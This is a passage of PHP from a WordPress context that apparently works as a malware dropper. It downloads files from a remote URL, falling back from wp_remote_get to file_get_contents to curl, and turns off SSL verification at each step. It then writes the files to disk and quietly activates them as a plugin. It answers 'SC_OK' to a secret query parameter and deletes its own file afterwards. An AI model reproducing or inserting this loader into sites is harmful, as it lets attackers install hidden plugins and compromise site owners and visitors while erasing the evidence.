15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; } if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['4a2394d8'] ) && $_GET['4a2394d8'] === '1' ) { die( 'SC_OK' ); } @unlink( __FILE__ );